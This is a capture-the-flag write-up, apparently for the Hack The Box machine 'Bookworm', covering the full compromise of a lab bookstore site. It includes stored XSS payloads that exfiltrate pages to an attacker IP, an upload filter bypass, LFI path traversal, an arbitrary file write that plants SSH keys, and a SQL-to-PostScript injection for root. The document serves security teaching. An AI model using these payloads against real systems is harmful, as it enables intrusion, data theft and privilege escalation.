Bookworm
Gaining Access
Nmap scan:
$ nmap -p- --min-rate 3000 10.129.90.108
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-30 10:13 EDT
Nmap scan report for 10.129.90.108
Host is up (0.17s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Just two ports open. We have to add bookworm.htb
to our /etc/hosts
file to access the website.
Bookworm -> Find XSS
Port 80 was an online bookstore site with books for sale:

We can view the shop to find some books on sale:

Proxying the traffic through Burpsuite reveals that this is an Express based website:

The website allows us to create a user, and afterwards we can access the cart and checkout functions. Immediately after adding my book, we can see that the website updates to show that:

I looked through the traffic and refreshed the page. This time, the Updates included another user who was adding books to their basket:

So this is the first indication that there was another user present on the site and interacting with the shop. Within the checkout function, there was an Edit Note function available.

I took note of the 'download books' option since it was removed. There was mention of 'old orders still being downloadable', which might come in handy later. Since there was a user also accessing the site, I figured that XSS might be the exploit path here, so I entered a basic payload:
<img src="http://10.10.14.34/?callback">
After updating the note and completing the checkout, I received a callback on our HTTP server.

So XSS was possible, but right now it's only viewable by us and we need to somehow figure out how to inject this into the cart of others. I took a look at the POST request made, and found that a number was used as the cart identifier:

On a side note, I noticed that there were different usernames for the bot each time I refreshed the page:

Examining the page source reveals that there was some number associated with the updates:

This number incremented itself each time, and it was likely that this is the same number used for the cart ID, giving us an opportunity to inject XSS payloads into the cart of the bot. Apart from the checkout, viewing the user profile reveals that we can upload an avatar to the site:

We can try uploading some basic Javascript files (since this was likely an XSS-based initial access). After some trial and error, I found that by changing the Content-Type
header to image/jpeg
, we can bypass the content check and upload whatever we want.

Profile XSS -> Steal Page
After that initial recon, we can try to inject payloads into the notes of the bot's cart.
POST /basket/2061/edit HTTP/1.1
Host: bookworm.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 79
Origin: http://bookworm.htb
Connection: close
Referer: http://bookworm.htb/basket
Cookie: session=eyJmbGFzaE1lc3NhZ2UiOnt9LCJ1c2VyIjp7ImlkIjoxNCwibmFtZSI6InRlc3QiLCJhdmF0YXIiOiIvc3RhdGljL2ltZy91c2VyLnBuZyJ9fQ==; session.sig=eNrnjBHPf1vWoX6kzmk2xB4dWdM
Upgrade-Insecure-Requests: 1
quantity=1¬e=%3Cimg+src%3D%22http%3A%2F%2F10.10.14.34%2F%3Fbotcallback%22%3E
This payload works in getting a callback from the machine itself.

Interestingly, when we send the above request, we would get a base64
encoded cookie which indicates that our avatar is loaded, which might be our XSS point:

We can test this first by updating our profile picture with the following request:
POST /profile/avatar HTTP/1.1
Host: bookworm.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------7893868742127952433304288570
Content-Length: 262
Origin: http://bookworm.htb
Connection: close
Referer: http://bookworm.htb/profile
Cookie: session=eyJmbGFzaE1lc3NhZ2UiOnt9LCJ1c2VyIjp7ImlkIjoxNCwibmFtZSI6InRlc3QiLCJhdmF0YXIiOiIvc3RhdGljL2ltZy91c2VyLnBuZyJ9fQ==; session.sig=eNrnjBHPf1vWoX6kzmk2xB4dWdM
Upgrade-Insecure-Requests: 1
-----------------------------7893868742127952433304288570
Content-Disposition: form-data; name="avatar"; filename="test.jpg"
Content-Type: image/jpeg
fetch("http://10.10.14.34/?profilebotcallback")
-----------------------------7893868742127952433304288570--
When we refresh our /profile
page, we can see that our image is located at a certain static directory:

After waiting for a bit, we would eventually get a callback using this method:

There was mention of 'old orders' being used, so I wanted to see if we could steal page contents via XSS. The stealing of cookies won't work in this case since the Set-Cookie
header had the httponly
value, so stealing pages is the only other method.
To do this, we can create a Flask server to redirect the bot to other pages. The /profile
endpoint had an Order History record at the bottom:

So the exploit path is to redirect the bot to their own /profile
directory and view their old orders via injecting Javascript code into our profile picture.
I tried it with this payload:
var url = "http://10.129.90.108/profile";
var attacker = "http://10.10.14.34:8000/exfil";
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open('GET', url, true);
xhr.send(null);
The above payload doesn't work, but we can at least confirm that page stealing is the way to go:

I took a break from this machine while waiting for it to be hosted on the SG VPN for stability (so that's why the IP addresses are different later). Afterwards, I edited the Javascript code a bit to wait for the page to load before sending me the contents:
function stealpage(url) {
var attacker = "http://10.10.14.13/?url=" + encodeURIComponent(url);
fetch(url).then(async res => {
fetch(attacker + "&data=" + btoa(await res.text()))
});
}
stealpage("http://bookworm.htb/profile")
Afterwards, I would get a callback with a huge base64 encoded string at the back:

Here's the interseting part of the page decoded:
<hr>
<h3>Order History</h3>
<table class="table">
<thead>
<tr>
<th scope="col">#</th>
<th scope="col">Ordered At</th>
<th scope="col">Total Price</th>
<th scope="col"></th>
</tr>
</thead>
<tbody>
<tr>
<th scope="row">Order #16</th>
<td>Wed Jan 18 2023 20:10:04 GMT+0000 (Coordinated Universal Time)</td>
<td>£33</td>
<td>
<a href="/order/16">View Order</
</td>
</tr>
<tr>
<th scope="row">Order #17</th>
<td>Sat Jan 21 2023 20:10:04 GMT+0000 (Coordinated Universal Time)</td>
<td>£39</td>
<td>
<a href="/order/17">View Order</
</td>
</tr>
<tr>
<th scope="row">Order #18</th>
<td>Fri Jan 27 2023 20:10:04 GMT+0000 (Coordinated Universal Time)</td>
<td>£66</td>
<td>
<a href="/order/18">View Order</
</td>
</tr>
</tbody>
</table>
</div>
</body>
</html>
The first thing we notice is that there are indeed older orders present on the site. We can attempt to view one of the orders, and I chose to steal /order/18
. However, it seems that the order number changes each time because the bot uses a different user each time.
Instead, we can add to our Javascript payload by scraping the possible endpoints from the page, visiting them and sending the page contents back to our webserver:
function getOrder(html_page) {
const parser = new DOMParser();
const htmlString = html_page;
const doc = parser.parseFromString(htmlString, 'text/html');
const orderLink = doc.querySelector('tbody a');
const orderUrl = orderLink ? orderLink.getAttribute('href') : null;
return orderUrl ? ["http://bookworm.htb" + orderUrl] : [];
}
function stealpage(url) {
var attacker = "http://10.10.14.13/?url=" + encodeURIComponent(url);
fetch(url).then(async res => {
fetch(attacker + "&data=" + btoa(await res.text()))
});
}
fetch("http://bookworm.htb/profile").then(async (res) => {
const html = await res.text();
const orders = getOrder(html);
for (const path of orders) {
const url = "http://bookworm.htb" + path;
stealpage(url);
}
});
After receiving our callback, we can decode the page to find this interesting part:
<td>
<a href="/download/13?bookIds=17" download="Hans Holbein.pdf">Download e-book</a>
</td>
Within each /order
endpoint, there's the option to download the book. We can test for vulnerabilities like RCE and LFI in this.
XSS LFI -> User Creds
I tested for LFI first, and this can be done by editing our Javascript code to visit the /order
page and then visit /download/<NUMBER>?bookIds=../../../../../../etc/passwd
. We would also need to have a handler that would convert it to a PDF file somehow.
function getOrder(html_page) {
const doc = new DOMParser().parseFromString(html_page, 'text/html');
return Array.from(doc.querySelectorAll('tbody a'), link => "http://bookworm.htb" + link.getAttribute('href'));
}
function getDownload(html) {
const downloadLink = (new DOMParser().parseFromString(html, 'text/html')).querySelector('a[href^="/download"]');
return downloadLink ? downloadLink.href.replace(/=(.+)$/, "=.&bookIds=../../../../../../etc/passwd") : null;
}
function arrayBufferToBase64(buffer) {
return btoa(String.fromCharCode(...new Uint8Array(buffer)));
}
function sendRequest(url) {
const attacker = "http://10.10.14.13>/?url=" + encodeURIComponent(url);
fetch(url).then(async res => {
fetch(attacker + "&data=" + arrayBufferToBase64(await res.arrayBuffer()));
});
}
async function getPdf(url) {
const html = await (await fetch(url)).text();
const download = getDownload(html);
if (download) {
sendRequest(download);
}
}
fetch("http://bookworm.htb/profile")
.then(res => res.text())
.then(html => {
const orders = getOrder(html);
for (const path of orders) {
getPdf(path);
}
});
This would give us a huge base64 string, which can be decoded into a .zip
file and unzipped to find the contents of /etc/passwd
.

This confirms that we have LFI on the machine, and we can proceed to enumerate /proc/self/cmdline
to view the active processes on the machine (since we don't have anything else to read):
$ cat cmdline
/usr/bin/nodeindex.js
We can then read the /proc/self/cwd/index.js
to find the file being run:
const express = require("express");
const nunjucks = require("nunjucks");
const path = require("path");
const session = require("cookie-session");
const fileUpload = require("express-fileupload");
const archiver = require("archiver");
const fs = require("fs");
const { flash } = require("express-flash-message");
const { sequelize, User, Book, BasketEntry, Order, OrderLine } = require("./database");
const { hashPassword, verifyPassword } = require("./utils");
const { QueryTypes } = require("sequelize");
const { randomBytes } = require("node:crypto");
const timeAgo = require("timeago.js");
const app = express();
const port = 3000;
<TRUNCATED>
It seems that this requires a database.js
file to be run. So, we can read /proc/self/cwd/database.js
next, and within it we can find user credentials!

Then, we can ssh
in using frank
as the username.

Privilege Escalation
frank
does not have any sudo
privileges, and there's another user neil
present on the machine:
frank@bookworm:/home$ ll
total 16
drwxr-xr-x 4 root root 4096 May 3 15:34 ./
drwxr-xr-x 20 root root 4096 May 3 15:34 ../
drwxr-xr-x 5 frank frank 4096 May 24 12:20 frank/
drwxr-xr-x 6 neil neil 4096 May 3 15:34 neil/
Calibre -> File Write
I ran a pspy64
scan to find out what processes are being run by neil
. Within this, I found lots of Google Chrome related processes:
2023/06/01 10:32:52 CMD: UID=0 PID=4619 | /opt/google/chrome/chrome --type=renderer --headless --crashpad-handler-pid=4591 --no-sandbox --disable-dev-shm-usage --disable-background-timer-throttling --disable-breakpad --enable-automation --force-color-profile=srgb --remote-debugging-port=0 --allow-pre-commit-input --ozone-platform=headless --disable-databases --disable-gpu-compositing --enable-blink-features=IdleDetection --lang=en-US --num-raster-threads=1 --renderer-client-id=4 --time-ticks-at-unix-epoch=-1685611397759220 --launch-time-ticks=4125178583 --shared-files=v8_context_snapshot_data:100 --field-trial-handle=0,i,5767257916058271870,7795791730638178676,262144 --enable-features=Network
2023/06/01 10:32:52 CMD: UID=0 PID=4618 | /opt/google/chrome/chrome --type=renderer --headless --crashpad-handler-pid=4591 --first-renderer-process --no-sandbox --disable-dev-shm-usage --disable-background-timer-throttling --disable-breakpad --enable-automation --force-color-profile=srgb --remote-debugging-port=0 --allow-pre-commit-input --ozone-platform=headless --disable-gpu-compositing --enable-blink-features=IdleDetection --lang=en-US --num-raster-threads=1 --renderer-client-id=3 --time-ticks-at-unix-epoch=-1685611397759220 --launch-time-ticks=4125153876 --shared-files=v8_context_snapshot_data:100 --field-trial-handle=0,i,5767257916058271870,7795791730638178676,262144 --enable-features=Ne
2023/06/01 10:32:52 CMD: UID=0 PID=4596 | /opt/google/chrome/chrome --type=zygote --no-sandbox --headless --headless --crashpad-handler-pid=4591 --enable-crash-reporter
2023/06/01 10:32:52 CMD: UID=0 PID=4595 | /opt/google/chrome/chrome --type=zygote --no-zygote-sandbox --no-sandbox --headless --headless --crashpad-handler-pid=4591 --enable-crash-reporter
2023/06/01 10:32:52 CMD: UID=0 PID=4591 | /opt/google/chrome/chrome_crashpad_handler --monitor-self-annotation=ptype=crashpad-handler --database=/tmp/Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=lsb-release=Ubuntu 20.04.6 LTS --annotation=plat=Linux --annotation=prod=Chrome_Headless --annotation=ver=113.0.5672.126 --initial-client-fd=5 --shared-client-connection
2023/06/01 10:34:53 CMD: UID=0 PID=4708 | /bin/bash /usr/bin/google-chrome --allow-pre-commit-input --disable-background-networking --disable-background-timer-throttling --disable-backgrounding-occluded-windows --disable-breakpad --disable-client-side-phishing-detection --disable-component-extensions-with-background-pages --disable-component-update --disable-default-apps --disable-dev-shm-usage --disable-extensions --disable-features=Translate,BackForwardCache,AcceptCHFrame,MediaRouter,OptimizationHints --disable-hang-monitor --disable-ipc-flooding-protection --disable-popup-blocking --disable-prompt-on-repost --disable-renderer-backgrounding --disable-sync --enable-automation --enable-blink-features=IdleDetection --enable-features=NetworkServiceInProcess2 --export-tagged-pdf --force-color-profile=srgb --metrics-recording-only --no-first-run --password-store=basic --use-mock-keychain --headless --hide-scrollbars --mute-audio about:blank --no-sandbox --disable-background-networking --disable-default-apps --disable-extensions --disable-gpu --disable-sync --disable-translate --hide-scrollbars --metrics-recording-only --mute-audio --no-first-run --safebrowsing-disable-auto-update --remote-debugging-port=0 --user-data-dir=/tmp/puppeteer_dev_chrome_profile-Zh8Dm3
Not too sure if this is intentional, but I do know there are Google Chrome exploits present. Anyway, within the user neil
home directory, I found some interesting files:
frank@bookworm:/home/neil$ ls
converter
frank@bookworm:/home/neil$ cd converter/
frank@bookworm:/home/neil/converter$ ll
total 104
drwxr-xr-x 7 root root 4096 May 3 15:34 ./
drwxr-xr-x 6 neil neil 4096 May 3 15:34 ../
drwxr-xr-x 8 root root 4096 May 3 15:34 calibre/
-rwxr-xr-x 1 root root 1658 Feb 1 09:13 index.js*
drwxr-xr-x 96 root root 4096 May 3 15:34 node_modules/
drwxrwxr-x 2 root neil 4096 May 3 15:34 output/
-rwxr-xr-x 1 root root 438 Jan 30 19:46 package.json*
-rwxr-xr-x 1 root root 68895 Jan 30 19:46 package-lock.json*
drwxrwxr-x 2 root neil 4096 May 3 15:34 processing/
drwxr-xr-x 2 root root 4096 May 3 15:34 templates/
frank@bookworm:/home/neil/converter/calibre$ ./calibre --version
calibre (calibre 6.11)
There was something called calibre
present on the machine. Also, port 3001 was listening on the machine:
frank@bookworm:/home/neil/converter$ netstat -tulpn
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3001 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:36767 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
We can forward this using chisel
and view the site:

I found the documentation for this application here:
Here's the initial response intercepted in Burp:

I played around with the outputType
variable and tried LFI again, and it worked:

Within the machine, it creates this file with neil
permissions:

This means we have an arbitrary file write as the neil
user, and we can try to drop our SSH public key into his authorized_keys
folder. I tried to directly write it to that folder but it doesn't work, and I think we have to maintain the .txt
extension.
As such, we can create a symlink between testkey.txt
and the authorized_keys
folder using:
ln -s /home/neil/.ssh/authorized_keys key.txt
Afterwards, we can send this request to add our SSH key:
POST /convert HTTP/1.1
Host: 127.0.0.1:3001
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------292034445114065400543811074751
Content-Length: 791
Origin: http://127.0.0.1:3001
Connection: close
Referer: http://127.0.0.1:3001/
Cookie: session=eyJmbGFzaE1lc3NhZ2UiOnt9fQ==; session.sig=unIt4GDQSCUqkXd9r4WU_geYMnI
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
-----------------------------292034445114065400543811074751
Content-Disposition: form-data; name="convertFile"; filename="key.html"
Content-Type: application/vnd.ms-publisher
<KEY>
-----------------------------292034445114065400543811074751
Content-Disposition: form-data; name="outputType"
../../../../../../../tmp/testssh/key.txt
-----------------------------292034445114065400543811074751--
Then we can ssh
in as neil
.

SQL PostScript Injection
The neil
user can run genlabel
on the machine:
neil@bookworm:~$ sudo -l
Matching Defaults entries for neil on bookworm:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User neil may run the following commands on bookworm:
(ALL) NOPASSWD: /usr/local/bin/genlabel
We can try to run the command and see how it takes an orderId
parameter:
neil@bookworm:~$ sudo /usr/local/bin/genlabel
Usage: genlabel [orderId]
neil@bookworm:~$ sudo /usr/local/bin/genlabel 1
Fetching order...
Generating PostScript file...
Generating PDF (until the printer gets fixed...)
Documents available in /tmp/tmp6e6lsyfwprintgen
We can take a look at the executable, which happens to be a Python script:
neil@bookworm:~$ cat /usr/local/bin/genlabel
#!/usr/bin/env python3
import mysql.connector
import sys
import tempfile
import os
import subprocess
with open("/usr/local/labelgeneration/dbcreds.txt", "r") as cred_file:
db_password = cred_file.read().strip()
cnx = mysql.connector.connect(user='bookworm', password=db_password,
host='127.0.0.1',
database='bookworm')
if len(sys.argv) != 2:
print("Usage: genlabel [orderId]")
exit()
try:
cursor = cnx.cursor()
query = "SELECT name, addressLine1, addressLine2, town, postcode, Orders.id as orderId, Users.id as userId FROM Orders LEFT JOIN Users On Orders.userId = Users.id WHERE Orders.id = %s" % sys.argv[1]
cursor.execute(query)
temp_dir = tempfile.mkdtemp("printgen")
postscript_output = os.path.join(temp_dir, "output.ps")
# Temporary until our virtual printer gets fixed
pdf_output = os.path.join(temp_dir, "output.pdf")
with open("/usr/local/labelgeneration/template.ps", "r") as postscript_file:
file_content = postscript_file.read()
generated_ps = ""
print("Fetching order...")
for (name, address_line_1, address_line_2, town, postcode, order_id, user_id) in cursor:
file_content = file_content.replace("NAME", name) \
.replace("ADDRESSLINE1", address_line_1) \
.replace("ADDRESSLINE2", address_line_2) \
.replace("TOWN", town) \
.replace("POSTCODE", postcode) \
.replace("ORDER_ID", str(order_id)) \
.replace("USER_ID", str(user_id))
print("Generating PostScript file...")
with open(postscript_output, "w") as postscript_file:
postscript_file.write(file_content)
print("Generating PDF (until the printer gets fixed...)")
output = subprocess.check_output(["ps2pdf", "-dNOSAFER", "-sPAPERSIZE=a4", postscript_output, pdf_output])
if output != b"":
print("Failed to convert to PDF")
print(output.decode())
print("Documents available in", temp_dir)
os.chmod(postscript_output, 0o644)
os.chmod(pdf_output, 0o644)
os.chmod(temp_dir, 0o755)
# Currently waiting for third party to enable HTTP requests for our on-prem printer
# response = requests.post("http://printer.bookworm-internal.htb", files={"file": open(postscript_output)})
except Exception as e:
print("Something went wrong!")
print(e)
cnx.close()
This uses the postscript_file.write
to first write the file, and then it usesps2pdf
to convert it to a PDF. The parameter taken by the user is not sanitised, making this vulnerable to SQL PostScript Injection actually.
We can find out more about writing PostScript here by Googling PostScript write files:
The idea here is to somehow write some PostScript code to put our own SSH key into the root
user's authorized_keys
folder. The user input is the very last parameter in the SQL query, which we can invalidate using this:
"0 UNION SELECT ')
This would escape the query and then end it. Then, we can append our PostScript exploit to the back of that:
show\n/outfile1 (/root/.ssh/authorized_keys) (w) file def\noutfile1 (key) writestring\noutfile1 closefile\n\n
Afterwards, we have to set the rest of the SQL values to prevent errors from happening. The final command is:
sudo /usr/local/bin/genlabel "0 union select') show\n/outfile1
(/root/.ssh/authorized_keys) (w) file def\noutfile1 (KEY)
writestring\noutfile1 closefile\n(a' as name, '1' as addressLine1, '1' as
addressLine2, '1' as town, '1' as postcode, 0 as orderId, 1 as userId;"
Then, we can just ssh
into root
from our kali
machine.

Rooted!
Last updated